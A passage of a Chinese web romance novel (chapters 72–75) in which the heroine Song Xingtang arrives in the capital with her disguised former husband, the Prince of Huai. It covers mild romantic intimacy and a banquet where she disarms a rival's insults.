“那就请糖儿做好准备。” “我会用自己的真容,吻你。” 第72章 第72章(二更)带她一起回王府…… 【72】 等到距离京城只二十里之遥时,宋星糖才后知后觉。 她跪在坐榻上,探身去揪他的衣领,凶巴巴地: “你是不是故意等到京城,才告诉我你的脸也是假的?说!” 男人被压在底下,放下手中的书,无奈笑道:“糖儿好聪慧,这都叫你看出来了。” 她哪里聪慧?她一点都不! 真聪明的话就该早点看出这狗男人的算计! 欺负她人生地不熟,又不可能再回去了,才对她坦白! 沈昭予见她想歪,立马拢住她的双手,低声下气地解释:“可这一路也确实需要乔装。” 宋星糖瞪眼:“那你不能早点对我说嘛!” 沈昭予眼神无辜,言之凿凿:“早说了,你能按捺住好奇?” 别说早早告诉她,就是在最后一站告诉了她,他也艰难地应付了好一阵这只好奇的小猫。 沈昭予幽幽道:“将我休弃,不许我同寝,却偷偷摸到我的床榻,骑在我身上,摆弄我的脸。” 宋星糖心虚地移开目光。 沈昭予摸了下她的脸,笑道:“我说的是谁啊?嗯?” “我,我好奇嘛……” 沈昭予心情极好,笑着凝视着她,心里想的是,到了他的地盘,她便是插翅也难逃了。 四目相望,眼中只有彼此,谁也没察觉马车竟渐渐减速,缓缓停了下来。 “真是娇气,坐什么马车,磨磨蹭蹭。” 忽而一道爽朗高昂的男声从远处传来,紧接着车门被人打开,探进来一个脑袋,“我说怀——” 来人二十出头的年纪,瘦长脸,细眼高鼻,皮肤白皙,乍一看,像宋星糖送沈昭予的那只狐狸面具。 谢徽:“……” 他退出去,沉默片刻,疑惑地喊了一声:“江行?” “哎!小侯爷,咋啦?主子没在里头?” 谢徽迟疑:“可能没在……” 那个被女子压在身下的,怎么都不可能是怀王吧?谢徽的意识有些错乱。 江行擅自解读了谢徽的表情,恍然大悟道:“主子的易容,您又没认出来吧?哈哈!” 谢徽:“……你去看看。” 江行嘟囔着‘有什么可看的’,把脑袋也挤了进来。 江行:“……” 马车角落里依偎着两个人,一个表情茫然、居高临下,骑在人身上,一人则柔弱无骨、眉眼含情,似乎毫无还手之力地被人按倒在榻上。 见到不速之客,沈昭予不耐烦的“啧”了一声,冷冷地朝他看过来。 江行抱着脑袋缩了出去。 漫长的寂静后,终于有一道温柔如水的声音将他二人拯救:“怎么?人不在吗?” 宋星糖听到外头有人长松了一口气。 “言姑娘,真是好久不见呀!” “阿婉,别靠近,有杀气!” 言婉:“……” 看来是在了。 众人皆默契地不敢冒犯,静静等着马车里的人出来。 沈昭予看着身上茫然无知的小姑娘,无奈地叹了口气。 所以,他不想回来。一回来,总要被奇怪的人缠上,连独处的时 间都会变少。 还是在路上的时候好,只有他二人。 得早点把她迎娶过门才行。 沈昭予心里有了盘算,面上不显,两手都扶在她腰上,并不撑榻,全凭腰腹的力量,轻松坐起身。 “走,带你去见你的新朋友。” 宋星糖眼睛一亮,有些胆怯,又有些期待,最终在他含笑的目光里,点了点头。 沈昭予牵着她走出马车,外头一道火辣辣的视线瞬间望了过来,叫她陡然生出退意,往他身后躲了躲。 沈昭予握紧她的手,淡淡瞥了一眼谢徽,没搭理,转而望向谢徽紧紧依偎的那道端庄守重的身影。 沈昭予客气地颔首:“言姑娘,许久不见。” 言婉垂着头,并不看他,恭恭敬敬地道:“参见……呃……” 她想起来男人来信上的“叮嘱”,险些说漏嘴。 为难地咬了下唇,试探道:“表兄?” 男人淡淡‘嗯’了一声,言婉默默松口气。 这其中反应最大的,当属那位被唤做“小侯爷”的男子。 宋星糖悄悄探头,看到那男子一双眼睛直勾勾盯着言姑娘瞧,身子使劲往人家身上贴,都快把人家姑娘拱倒了。一边挤,一边两眼冒光,嘴角几乎咧到耳根。 他这幅样子,叫宋星糖想起来她院里养得那些小狗,见到肉骨头时,也总是这样,一边流着口水,一边往前凑。 宋星糖又把目光挪到旁边的女子身上,这位言姑娘大概就是沈昭予为她介绍的新朋友,是个好人。 瞧着贞静娴雅,温婉柔顺,一看就是出自书香门第,是大家闺秀。 她悄悄戳了戳沈昭予的后背,见男人看过来,她小声问:“言姑娘是你的表妹呀?” 沈昭予没说话,倒是那个小侯爷像打了鸡血似得,抢先开口:“他不是阿婉的亲表哥,是我的表哥!” 宋星糖疑惑地看过去。 谢徽低下头,满脸娇羞,压抑不住兴奋的语气:“阿婉是、是我未过门的媳妇儿,阿婉随我喊表哥,没有错,嘿嘿。” 众人:“……” 见不得他这副不值钱的模样,言婉暗地里掐了他一把,无奈地点头,“正是如此。” 谢徽被拧得面容扭曲一瞬,可嘴角的笑容却越来越大,好像十分享受似得。 言婉不再理他,充满善意的目光落在宋星糖身上,眼底闪过一丝惊艳,她温柔道:“这位想必就是宋姑娘?” 宋星糖红着脸点了点头,不知道该说什么。 从小到大,她从未跟大家闺秀说过话,见言婉如此和善,心里的不安与胆怯稍稍散了些。 沈昭予在面对别人时,情绪收敛许多,语气中不自觉带了威严:“我将糖儿交到你手上,莫让她受了委屈。” 言婉与谢徽对视一眼,都将这句亲昵的称呼听进了心里去。 言婉不敢怠慢,忙垂首应‘是’,心里暗暗揣测这个小姑娘在怀王心里的份量。 沈昭予还有事忙,既然接应的人来了,他就得和宋星糖暂别。 他略一抬手,众人皆不敢留,瞬间作鸟兽散,退出去好几丈,给他们留有空间说话。 宋星糖仰着头看他,心里生出个预感,迟疑道:“你要走了?” 沈昭予脸色微冷,拳头暗暗捏紧,“嗯。” “喔……” 宋星糖垂下眼睛,不吭声。 她隐约察觉到一种奇怪的情绪,她从前从未感受过,不仅陌生,还很折磨人,尽是酸苦的滋味,呛得她鼻子酸酸的,眼眶也跟着热起来。 好像有个声音在她耳边说,不要让他走,要让他一直一直陪着她。她还没来得及跟他说,她和“赵鱼”生活了一个多月,又和“沈昭予”待了两个月,她现在已经逐渐习惯了。 想说的话很多,都没来得及讲,他就因为要去做自己的事,又要走了。 这次离开,要多久才能再见到呢? 上次是半个月,这次,会更久吧? 这个认知让宋星糖心里更加难受,隐隐有想要流泪的冲动,胸口滞闷酸涩难忍,她情不自禁地抬手揉了揉心口。 她这番动作,沈昭予一看就明了,他既惊喜又难过,惊喜于她似乎在渐渐开窍,难过于他不能再与她朝夕相处。 如此想着,便再难忍耐,长臂一伸,将她拉进怀里。 男人的手臂十分有力,紧紧地将她困在怀中。 他声音压得很低,隐忍道:“之后一段时日,你暂住在言婉家中,别怕,她人很好,你有何事都尽可告知她,她必会为你解决。” “嗯。” “如果随她去赴宴,要记得时刻同她待在一处,莫要自己独处,更不要乱跑,知道吗?” “……嗯。” “不喜欢的人都不要理,有人若说了什么你不爱听的话,只管用我教过你的法子回击,不必怕得罪谁,这里你谁都得罪的起,要记住是谁欺负了你,等再见到我时,可以向我告状。” 宋星糖这回没有应声,沈昭予并不催她,耐心地等。 他们就这样安静地抱着。 半晌,才听她道:“那位小侯爷,是你的表弟。你还说,我谁都得罪的起。所以……” 沈昭予低下头,撞进她清澈明亮的眸子。 “所以,你真的是个很大的官。” 沈昭予低声轻笑,“是,我很厉害,没有给糖儿丢人。” 宋星糖倏地便笑了,“我就知道,你最厉害。” “你父亲的事,有消息我会告知你,你放心。” 宋星糖乖乖点头,又说了声‘好’。 再没什么需要交代的,沈昭予用力闭了下眼睛,强迫自己斩断念想。 他咬咬牙,松开手,准备转身离开。 才一动,下摆忽然一重。 他几乎瞬间便又握住了她的手,喉结隐忍地滚动两下,“糖儿……” 宋星糖忽然踮起脚,在他脸颊上印上轻轻的一个吻。 在所有人怔愣的目光里,她扯着他的袖子晃了晃,软声道:“这是我对着这张脸,亲的最后一下啦。” 沈昭予脑中紧绷的那根弦倏地断了。 什么筹谋,什么计划,全都顾不得。 凭什么要让她住在言婉家。 凭什么不能还和他住在一起? 他的王府,难道不是整个京城中最安全的所在吗? 沈昭予顷刻间改变了决定。 他直接弯腰将人扛在肩上,夺过凌风的缰绳,把她放到马上,而后翻身上马。 把人护在身前,看她坐稳,朝江行伸手,“披风。” 江行立马跑去拿了一件,递到男人手里,奇怪道:“主子,您这是?” 男人展开披风,罩在女孩头上,把人从头到脚裹了个严实。 他果断道:“回王府。” 说罢也不管一众人,一扬马鞭,疾速朝城中而去。 第73章 第73章“舒服的话就哼出来,不…… 【73】 江行:???!!! 他一跳老高,嗓子喊破了音:“您别冲动,别让人看到啊——!!!” 众人吃了一嘴黄土,默默望着马儿远去的背影。 “好马啊。”谢徽道,“他完了。” “嗯,完了。” 言婉也道。 “色令智昏,色令智昏!!” 江行滚下来两行热泪,被青鸾打了一巴掌,一声不敢再出。 “走吧,”青鸾揪住江行的后衣领,叹道,“去弄出点动静,把暗中的眼睛解决一下。” 江行擦了擦眼泪,委屈道:“也只能这样了……真是的,说好秘密进京的,这下全都该知道了。” 言婉忍不住提醒道:“他是易容。” 江行顿了顿,瞬间开朗起来,“对呀!他那张脸,是假哒!一定是我看习惯了,给忘了哈哈!” 众人:“……” 谢徽毫不担忧,甚至看热闹不嫌事大,抱着肩膀笑道:“眼下只能期盼着,咱们殿下能低调点,别在城中纵马。” 怀王殿下当然有这般觉悟,尤其是马背上驮着的是他此次南下寻得的无价珍宝,他自然是提着万分小心。 他由心腹把守的城门低调而入,一路避开耳目,悄无声息地由密道入了王府。 从前他从不动用这些“后手”,他筹谋多年,不会轻易暴露自己的实力。可今日他明明有其他的选择,却还是用了。 这一刻,他心里只装着宋星糖一个人,其他的都不再重要。 密道连通着他的书房,他甚至等不及出去找一间空房间把她安顿下来,直接进到书房侧面的耳房里,将人放到他疲惫时休憩的卧榻上。 而后他深深吸了口气,手落在披风上,这 一瞬间,他忽然想起洞房那日,他拿着玉如意,要挑她的红盖头时,也是这般忐忑。 想他当初只打算逢场作戏,却在不知不觉间,心境已然天翻地覆。 他那时哪能料到,他会把她带回来,让她躺在只他自己睡过的榻上。 盖在下面的女子始终安静乖巧,似乎因为半天没等来动作,她有些不安,布料随着她的吐息而上下起伏,她试探着唤了一声:“鱼鱼?” 因为不知此地是何处,所以她依旧不敢叫他的名字。 沈昭予眸光微暗,抬手剥开披风。 视线渐渐的再无阻拦,他的目光也由她的下巴,慢慢上移,直到,对上了她的眼睛。 沈昭予呼吸微滞,一把扔开披风,握住她的手,他的目光带上几分火热的温度,“我去把容貌卸去,等我。” 他起身要离开,手反被宋星糖一把抓住。 她疑惑道:“为何要卸去易容?” 沈昭予站在榻前,垂着一只被她紧握的手,嗓音发哑:“因为我想吻你。” 如此直白,又如此热情,宋星糖听得心脏砰砰直跳,她目光慌乱,“不用了呀,我,我不想亲。” “我想。”他转动手腕,再度掌握牵手的主动权,捏了捏她的小手,“谁叫你先惹我。” 沈昭予还记得不久前做的承诺,他下一次会用自己的脸吻她,所以这张假脸务必立刻卸去,多一刻他都忍不了。 “我,我哪有惹你,莫要冤枉人。” 宋星糖也说不清,此刻为何会有种呼吸困难的感觉,同时还有一种前所未有的陌生感觉。 她能听到自己胸口吵闹的心跳声,不知他听到了没有。 在听到他说要吻她时,脸颊涌上一股热意,耳尖滚烫,心里淌过一汪暖流,流向四肢百骸,身体冒出奇怪的感觉,难以言喻的期待在心口堆积,呼之欲出,令她茫然无措,不知该如何应对。 她只能顺从身体当下的本能反应,从榻上爬起来,攀着他的手臂跪直身体,一把抱了上去。 她说心里话:“你不要去,我现在不想看。” 沈昭予从善如流地将人抱紧,享受着她的又一次主动,嘴角噙笑:“为何不想看?可是怕我生得过于丑陋?” 小姑娘在他怀里摇头,脑袋深埋,偷偷吸气闻他的味道,“我还是想亲自从人群中把你挑出来,感觉会很好玩!” 沈昭予:“……” 还玩上了。 她喜欢,他自然没有不顺应的道理,至于他现在的需求…… 沈昭予无奈苦笑,只得用力把人搂得更紧,咬牙道:“真会折磨我。” 不能怪她亲自己,只能怪自己没有定力。 “这里不给亲?” 他退开些许,手指轻轻捻在她的唇珠上,揉了揉。 宋星糖被男人灼热的目光,看得心头一跳,她思维迟缓,呆滞地点了下头。 他笑着凑到她耳边,低声问:“那别的地方呢?” 说完,也不知是有意还是无意,唇瓣轻轻擦过她的耳朵。 宋星糖被痒得缩了缩脖子,“也不……” 话音未落,便感觉自己的耳垂被人含进了口中。 她身子一抖,一声轻哼从唇边溢出,心底空落落的,情不自禁地抱住他的脖子。 “鱼鱼,”宋星糖的声音害怕得发颤,“身体好奇怪……” “无妨,是正常的。”沈昭予松开耳垂,唇轻轻贴在她颈侧,“糖儿总要适应,舒服的话就哼出来,不舒服就告诉我。” 可是宋星糖也说不上来是否算不舒服,体感新奇微妙,因是头一次被人这么对待,所以她难免会惧怕胆怯。 只是因为是沈昭予,所以她才没有很激烈地反抗,像个棉布娃娃一样,任由他摆弄。 感受着自己后颈处滚丨烫的呼吸,宋星糖的眼底很快蒙上一层水雾,心生退意,“我们一定要这样吗?” 男人缓缓开口,在她耳边呢喃,嗓音似被沙砾摩过一般,低低祈求:“就当可怜可怜我,给我点甜头,好不好?” 他的声音听上去好可怜。 宋星糖忍着身体冒出来的羞耻渴望,带了点哭腔:“好,好吧,只这一次哦,但是你不要咬,我怕疼。” “谢谢。”他笑道,“你真好。” 也不知是他伺候得过于舒服,还是她这一路实在累坏,没一会功夫,她竟睡着了。 沈昭予叹着气从她身上起来,替她理了理被揉得尽是褶皱的衣裙。 得找最好的绣娘给她做上几身新衣裳。 从前连一刻时间都不愿浪费,每喘一口气,都要保证自己是在做事的怀王殿下,如今竟坐在一个女子身边,什么都不想,什么都不做,只是静静看着她的睡脸。 他看了半晌,才自言自语道:“等你父亲进京,我便向他求娶你,到时候别再拒绝我了。” 他的挚爱,他的珍宝。 “真是奇闻。” 他笑自己,竟也有今日。 捞过毯子盖到她身上,瞥了一眼自己半晌都为消不下去的火气,无奈地又叹一声。 从前竟不知,自己的欲丨望竟这样强,只是抱一抱亲一亲,就难以克制。 等宋星糖再睁眼,天色已经全暗。 躺着的床榻不再是睡前的那个,不用想,定是沈昭予将她抱过来的。 这一觉睡得很好,精神抖擞,身上也十分干爽,连何时被人换了身新衣裳她都不知。 宋星糖没有问自己身处何处,也没有跟人打探沈昭予的去向。 她让两人真正的相见保持着充足的神秘感,比从前的每一天都在期待着明日的到来。 用过一顿精致的晚膳,她看着众人往屋里搬东西。 “这些行李早在七日前就到了言府,”青鸾道,“因主子临时改了主意,所以才拉过来。” 一提这事,屋里的一众仆从都忍不住笑。 如今在屋里的,都是宋星糖从自己家带来的人,有妙荷巧杏和李嬷嬷。青鸾挑的两个粗使的丫头,并两名沈昭予亲自挑选的护卫都在外头伺候。 李嬷嬷打趣道:“姑爷真是爱惨了咱们姑娘,嘴里说着稳妥起见要安置到别处,可真要把人让出去,又是千万个舍不得,一刻都离不开哟。” “可不是嘛,姑爷一往情深,最是难得。”妙荷也道,“我原先还气他是骗子,现在可算知道,人家位高权重,真有心骗人,断不是他那个样,他原先在越州竟是真心为咱们姑娘好,舍不得姑娘伤心呢。” 宋星糖堵住两只耳朵,不听她们的话。 她埋怨道:“你们就算知道他的身份,也不要告诉我,不听不听。” 李嬷嬷大笑起来,“姑爷陪你玩,我们也得陪你啊?好好好,那你就慢慢找吧。” 妙荷瞧自己主子的样子就打心里觉得她可爱,生出几分逗弄心思,故意到她跟前晃悠,背着手踱步,“哎呀,反正姑娘听不见啦,跟你们说个好玩的,咱们跟着言姑娘的马车进京,先随她去了言府取行李,进了府门以后,你猜怎么着?” 宋星糖一双又圆又大眼睛看过来,水润的杏眸中沁着丝丝疑惑,两眼里写满了四个大字—— 怎么着呀? “想知道怎么着啊?” 宋星糖目不转睛地盯着妙荷。 妙荷 忽然扑过来,坏笑着道:“姑爷他竟然是——” “哎呀!!” 宋星糖惊吓地瞪圆眼睛,抬掌盖在妙荷的嘴上,用力捂住。 她怕不小心听到不该听的,嘴里啊啊啊地大叫,时不时穿插一句:“我听不见我听不见!” 二人闹作一团,屋里人皆哄堂大笑。 闹够了,继续归置,等到二更,才勉强把东西都收拾好。 青鸾抱着个包袱过来,放在边上,“这是夫人吩咐要亲自拆的,旁人都没碰过。” 宋星糖抬手贴了下热热的脸,嘟囔了句:“叫什么夫人呀。” 青鸾笑了笑,极有分寸地没有言语,退到外间去。 宋星糖已经忘了那包袱里都装的什么,过去打开一瞧,才想起来,除了娘亲留给她的信物与账本外,还有一些是沈昭予送给她的书,沈昭予送给她的首饰,沈昭予给她写的字条,和她给沈昭予画的画。 都是很珍贵的宝贝呢。 只是如今这画,也不作数了,他又不长这样子。 犹豫了下,到底没舍得扔掉,随便夹到了一本她读过的故事书里。 余光又扫到压在包袱最下头的书,封面有些熟悉,却忘了是什么。 她抽出来一看,竟是那本秘戏图。 “对了,这好像是只有夫妻才可一起看的书。” 她现在没了夫,自然不用再看。 宋星糖怀念地抚了抚书页,心有不舍,沉思片刻,抱着它回到榻上,压在枕头下头。 等她有了夫君以后,再一起看吧。 对了,说到秘戏图,宋星糖忽然想起一个被她遗忘许久的问题—— 赵鱼,啊不对,沈昭予他,为何不同她圆房呢? 看李嬷嬷她们的反应,就知道成了亲都是要圆房的,不圆不正常。 虽然她不知道圆房要做什么,可是沈昭予应该知道的吧?他那么厉害,肯定什么都懂。 所以,他为什么不呢? 次日天明,宋星糖带着这个问题,去赴了言婉的约。 她怕忘,一见面,就问出这个问题。 “噗——!!” 宋星糖话音才落,素来仪态端庄、礼仪规矩的言婉都没忍住喷了口中的茶。 言婉放下茶盅,第一件事就是将屋子里的人都清了个干净。而后她关好房门,红着脸坐下。 她面色为难,犹豫着抬眼,猛地对上宋星糖天真无知、充满好奇的大眼睛。 言婉:“……” 老天爷,怀王这是从哪里抢来的宝贝。 “你们……圆房……你们……呃呃……” “言姐姐,你慢慢讲。”宋星糖十分识礼地给她重新倒了一杯茶,递过去,眼巴巴地,“我不着急。” 嘴上说着不着急,眼睛里却不是那么说的。 言婉:“……” 好乖,想摸。 言婉压不住震惊,难以置信道:“为何好端端的提起圆房?难不成,你们成亲了?” 总不能,怀王其实是个登徒浪子,是个畜生吧?做出强占闺阁女儿,败坏人家清白的丑事。 可是成亲,也太…… 与其让她相信怀王会娶妻,还不如让她相信,怀王欺压民女。 宋星糖点头,又摇头,承认道:“的确是成过亲啦。” 言婉:? 她怎么听不懂。 “何为成‘过’亲?” 天呐,还真的成亲了!! “他入赘到我家,”宋星糖如实道:“然后我又把他休啦。” 言婉:“……” 她今晚,应该不会被暗杀吧。 第74章 第74章“参见怀王殿下。”…… 【74】 言婉只觉得自己的脑袋似是刚被驴踢了一脚,什么都想不出来。 宋星糖还要继续火上浇油。 “言姐姐,不瞒你说,我原不知他是京城人,他同我说,他无家可归,连唯一的马都卖了葬父,因为对我一见钟情,所以前来入赘。” 言婉:“……” 无家可归,卖马葬父,一见钟情,前来入赘。 每个字都认得,可前头加上名字,她就字字都不认得了。 “他待我极好,不仅亲自教我读书,伺候我起居,还帮我料理家业,替我斗二房,打跑了坏人。” 还帮她找到了父亲!这句话不能说。 言婉:“…………” 一字一句听得她头昏脑涨,一边是这些年来亲眼所见的有关怀王的记忆,一边又是宋星糖口口声声描述的“贤惠赘夫”。 两种截然不同的形象在她脑袋里打架,令她整个人都有种错乱、割裂的崩溃感。 冲击感太强,导致言婉错失了最佳的打断时机,于是接下来半个时辰,她只能听着宋星糖把怀王夸成一朵花。 都是言婉闻所未闻,想都不敢想的另一个形象。 等到宋星糖终于夸完,最终不忘绕回最初的问题—— “言姐姐你说,他究竟为何不同我圆房呢?” 言婉抬手按了按太阳穴,哪敢妄自揣测,只摇头说不知。 宋星糖失望地垂下眼睛,“嗯,那好吧,打扰你啦。” 说着站起来,福了福身,就要离开。 哎哟,这小可怜的模样。 言婉一颗心都软了,赶忙道:“别走,我,我想到了!” 宋星糖一屁股坐回来,“嗯嗯?” 言婉绞尽脑汁:“嗯……他可能,比较能忍吧?” 宋星糖目光单纯,疑惑道:“忍什么?” 还能忍什么,当然是忍着枕边有这么漂亮又可爱的老婆不碰。 言婉飞快扫了一眼面前女子的玲珑身姿,红着脸想,这般隐忍,真的不会憋坏吗?还是说,怀王的身体这么能折腾? 她虽未出阁,却也知道男人的本性,就像谢徽那样,私下里总忍不住对她动手动脚,若非是她严词拒绝,谢徽只怕也早就想把他往榻上带。 如今世风开放,虽已不大讲男女之防,但像怀王这种,都成亲了还守贞的,世间罕见。 不愧是怀王啊,就连这事都称得上是世间独一份。 说了半晌,宋星糖还是不懂圆房要怎么圆,他又在忍些什么,她不好意思再继续问,只因这些事都是沈昭予还是赵鱼时,对她百般叮嘱的,只能夫妻之间探讨的事。 今日病急乱投医,同一个才认识没多久的人说这些,已然越过底线,宋星糖不想再继续下去。 她只能把问题都存在心里,只等着下次见到沈昭予,再问问他。 后来的几天,宋星糖一直没见到沈昭予。 她刻意不去注意自己究竟住在什么府邸,也不会问周围人沈昭予是谁,去了哪,在做什么。 这些日子她也很忙,每日辰时起床,巳时去言府找言婉,再由言婉带着她在京城里逛,或是带她去参加各种宴席。 当然,她赴宴并非只为多结识几个朋友,还有更重要的,她的眼睛不会放过任何一个,从她身边经过的年轻男子。 此时她正在来京后的第四场宴上。 今日是一位国公夫人办的赏花宴,中秋快到了,她找来京城里的年轻姑娘和公子们,大家一起写诗作对,抄录在一起,回头送到宫里去作为贺礼,说是贵妃喜欢这些。 当今的贵妃与国公夫人是同族姐妹,贵妃又诞下了某位皇子,荣宠不断,这些宋星糖都左 耳进右耳出,一句没记住。 她不会写诗,也不会写对子,言婉都很擅长,她不想给言婉添麻烦,就自己一个人到人群之外,在她能看到言婉、言婉一回头也能看到她的地方。 宋星糖挨着凉亭,找了块没人的小石墩坐着。 手托着腮,睁着两只大眼睛,看着来来往往的人。 她坐的位置不算隐蔽,只需稍稍一看就能发现,可惜大家都很忙,三五成群从她旁边过时,都好像没看到她似得,只一心说着八卦—— “我说个事,你们别外传,不然叫人知道,非扒了我的皮不可。” “哟,看来是要说那位了,哈哈,你也不怕传到人耳朵里,冲到你家找你爹告状?” “事太大,我憋不住啊!我直说了!听说怀王此次南下办差,带了个女子回来!” “莫开玩笑,谁人不知他眼里看不见女人,这么多年,也就肯和言尚书家的三姑娘多说两句话,旁的他连正眼都不瞧。” “我怀疑这话是三皇子故意传出来败坏怀王名声的。” “可是我也听说了诶,我大哥在大理寺当差,他听小侯爷身边护卫的酒友说的,确有其事!” 最先传闲话的人一听便来了精神,继续放消息:“我还听说,殿下他不行!” “什么?!” “不行?!哪儿不行!” “快说快说!” 那人神秘兮兮地道:“就是那方面不行啊,还能是什么不行。” 场面一瞬间炸开了锅。 “小道消息切莫当真,听听就得了,”另一人笑道,“我怎么听说是殿下能忍呢。” “怎么可能,谁枕边放个女人能一直忍着不碰?你能?” “说别人我不信,说怀王我还真得信一点,他身边一直没人,没准真是不行。” “可他既然不行,那更不会从南边千里迢迢带女人回来吧?” “……也有道理。” 宋星糖听不懂他们说的,目光一一略过这几位公子哥,心里默默评判,都太丑了,不想认。 一无所获后,她换了个方向坐着,去看另一边的人。 心里念叨着,沈昭予啊沈昭予,你究竟在哪里呀。 她一动,有眼尖的公子哥余光瞥到,立马看了过来。 这一看便愣住了。 女子一身绯红绣牡丹缎裙,艳丽的颜色应得她人比花还娇嫩,腮畔泛着粉,如吐蕊的桃花,侧颜温柔娴静,不知在想什么,唇畔挂着浅笑,两只甜美的梨涡若隐若现。 柳腰纤纤不堪一握,身姿袅娜酥软招人。 那公子看直了眼,咽了咽喉咙,刚要张口叫人,却见女子忽然站起身,拎着裙子跑远了。 “言姐姐,你叫我?” 宋星糖几步小跑过去,两只眼睛亮晶晶的。 言婉到底没忍住,抬手捏了捏她的脸蛋,“他也是这样,冲你一招手,你就跑去了?” “对呀。”宋星糖歪着头,“都叫我了,不来吗?” 太乖了,怎能这么乖,好嫉妒怀王,凭什么。 言婉心里愤愤不平,面上端的是温婉柔顺的微笑,唯有手上的动作出卖了她,她轻轻捏完宋星糖的脸,又用掌心揉了揉,爱不释手。 宋星糖脑袋随着她轻轻摇晃,“你写完诗啦?” 言婉还未言语,有个身穿鹅黄色裙子的年轻姑娘走了过来,那人笑道:“婉婉,这便是你那乡下的表妹?” 宋星糖疑惑地看过去,目光落在那人的衣裳上,表情更疑惑了。 言婉脸色沉下去,“是表妹,却不是来自乡下,李姑娘说错了。” 李姑娘捂着唇笑道,“哎,我只是瞧她大字不识一个的样子,觉得可惜呀,若是托生在京城世家里,在如今这场合中,定不会只能孤零零地坐在一边。” 言婉脸色不好,宋星糖却‘咦’了一声。 李姑娘落落大方,任她打量,眼底略过一丝不屑,“嗯?你有话要说?” 三人说话的功夫,又有几位公子姑娘都聚了过来。 只听宋星糖手摩挲着下巴,沉思道:“你家很穷吧?” 众人皆是一愣。 李姑娘脸上一阵白,“你、你说什么呢!” 宋星糖无辜道:“我方才一直在看你的衣裳,若所记无错,这款式在我家那边已是大前年流行的样子了。料子嘛……” 她直接上前摸了一把李姑娘的袖子,恍然大悟:“果然,料子也是次等的。” 众人打量的目光都落到李姑娘身上,她气急败坏道:“你个土包子懂什么?我这是苏绣!苏绣就要用这种料子!” “不不,你这不是正经苏绣,苏绣讲究平、齐、和、细、密、光、顺、匀,素来以淡雅、清秀著称,而且,你这也不是双面绣,看得出来模仿得不到家。” 她从袖中掏出一条手帕,认认真真给对方讲解:“你看,我这样的才是苏绣,用的料子比你那个还要好些。” 一条手帕都如此精致珍贵,比旁人穿得还要好。 宋星糖满脸忧愁,十分真诚地建议:“你家里人定是被人给骗了,苏绣的衣裳要不少银子呢,你这个一看少说多花了两倍价,吃大亏啦,快找骗子把银子要回来吧。” 众人:“……” 李姑娘的父亲原只是个五品小官,平时没少贪,但钱大多都花在孝敬上官以及打通官路上,自然没有多余的钱给李姑娘穿好的。 今年李父终于升官,她也得了一门好亲事,夫家也是尚书之子,她自认不比言婉差,便得意忘形起来。加之夫婿原先钟情言婉,故而将往日的妒火都发作在宋星糖身上。 怎料这位看着柔弱可欺,却是个硬茬! 李姑娘臊得脸色一阵青一阵白,恼羞成怒道:“原来是商户女,家缠万贯啊,叫人佩服。难怪如此上不得台面,诗文不通,放诞无礼,方才还一直盯着男人瞧,可见是个不知检点的!” 言婉厉声制止:“李姑娘,慎言!当心祸从口出。” 李姑娘嘲讽一笑,“一身铜臭味的人,也好意思带来这里脏人眼睛。” 这话骂得难听,一点情面都不讲。 宋星糖却好像没听出来一样,噗嗤一笑。 这位姑娘好像是在夸她有钱呀?她说佩服她诶! 不过李姑娘好像还说了好多话,可惜语速太快,话又密,没等她从前一句的高兴里出来,话都说完了,也不好意思叫人再重复一遍。 这一笑,将李姑娘彻底激怒。 宋星糖自动跳过中间一大段话,露出一种英雄所见略同的表情,感慨道:“铜板的确很有味道,很脏,我也不喜欢,所以我都换成银锭和银票带在身上,你瞧。” 她从袖子里摸来一个钱袋,看轮廓就知道沉甸甸的,有眼神好的,数了数荷包被硌出的棱角,少说得有三锭。 她又从胸口摸出一沓银票,抖了抖。 有人习武,眼力好,粗略一扫,一沓至少十张,为首的一张票面足有五十两。 宋星糖托着荷包,苦恼地皱紧眉头,自言自语:“好重,回头还是都换成银票叭。” 众人:“……” 也太富了,谁随身揣着成百上千两银子赴宴。 在座的哪怕是豪门贵族,也断不如她这般阔绰。 一时间鸦雀无声,连言婉都说不出话来。 宋星糖在心里回顾了一下沈昭予教她的“说话的学问”。 逢人三分笑。她做到了八分,笑得可灿烂了。 挑会说的答。嗯,这个她也做到了,她把阿娘教的苏绣知识能说的都说了。 从别人的话中挑出来了解的词展开说。她挑了“铜钱”,这个她最了解了! 很完美! 思及此处,宋星糖本着有始有终的原则,最后又扬起一个大大的笑容。 众人:“…………” 太气人了,胸口疼。 明明争执的主角不是他们,为何他们也要受伤。 对宋星糖动了情的公子哥明显迟疑下来,打消了搭话的念头,起码今日,他不想再和她说话。 气氛诡异,空气凝滞。 谢徽便是在这样一个时机里,陪着身边人走了过来。 “这么热闹啊。”谢徽笑道,“聊什么呢?” 众人如蒙大赦,朝发声处看去,看到一张熟悉的脸,心头皆突突一跳。 呼啦啦跪倒一片,无不恭敬小心:“参见怀王殿下。” 宋星糖慢了半拍,抬头望去。 一下便撞进一双幽邃的目光里。 第75章 第75章“本王活儿好不好,也得…… 【75】 这是一个一眼望去,便让人心 生畏惧,带着强大气场、峻挺高大的男人。 他身上的玄色公服庄重挺阔,金色四爪巨蟒盘旋在衣襟上,呈着奔腾姿态,恢弘雄浑。 男人那张脸也从未见过。 皮肤不算白,有着一双凌厉的凤眼,鼻梁挺拔,嘴唇浅而薄。 他有着万里挑一的俊朗容颜,却一点让人亲近的温度都没有。 目光冷冽,带着难以言喻的威严,轻飘飘地落过来时,似乎能轻易洞穿一些,直叫人感觉有股阴风顺着脊背往上钻,由内而外,遍体生寒。 一阵风过,卷起衣角的祥云纹滚边,斑驳的光影映在男人高束的银冠上,更衬得他此人成熟深沉,高不可攀。 在场的众公子姑娘,所有人都臣服在男人的脚下。 唯有宋星糖仍站在原处,怔怔望着男人那双寡淡至极的眼。 她仔仔细细地用目光描摹男人的脸,总觉得他格外熟悉。 看着他盛着冷意的眸子望过来,也不躲不避,直直与他对视。 四目相对,还是男人先挪开视线,他一语未发,迈步走了。 “怀王”来得突然,离开得更快,就像一阵风刮过,什么都没留下,只留下众人心底一阵茫然萧索。 等彻底见不到其背影,众人才不约而同地松了口气。再无人注意原本的闹剧,寻了借口,各自散去。 李姑娘灰头土脸地离开,宋星糖仍痴痴望着男子离开的方向。 言婉见此,不由得抿唇一笑。 她想起怀王的嘱托—— “不必提醒,她能认出本王来。” 言婉笑叹一声,正欲与宋星糖说话,怎料人忽然急急向自己道别: “言姐姐,我忽然不舒服,先走了,再会!” 说罢不等言婉挽留,一溜烟追了出去。 国公府占地不小,她追出去好远,在第一个分岔路口上犯了难。 往左,还是往右? 不管了,跟着直觉走吧。 她果断选了左边,一条路走到底,越走人越少。 在第二个路口时,她忽然站定,心生退意。 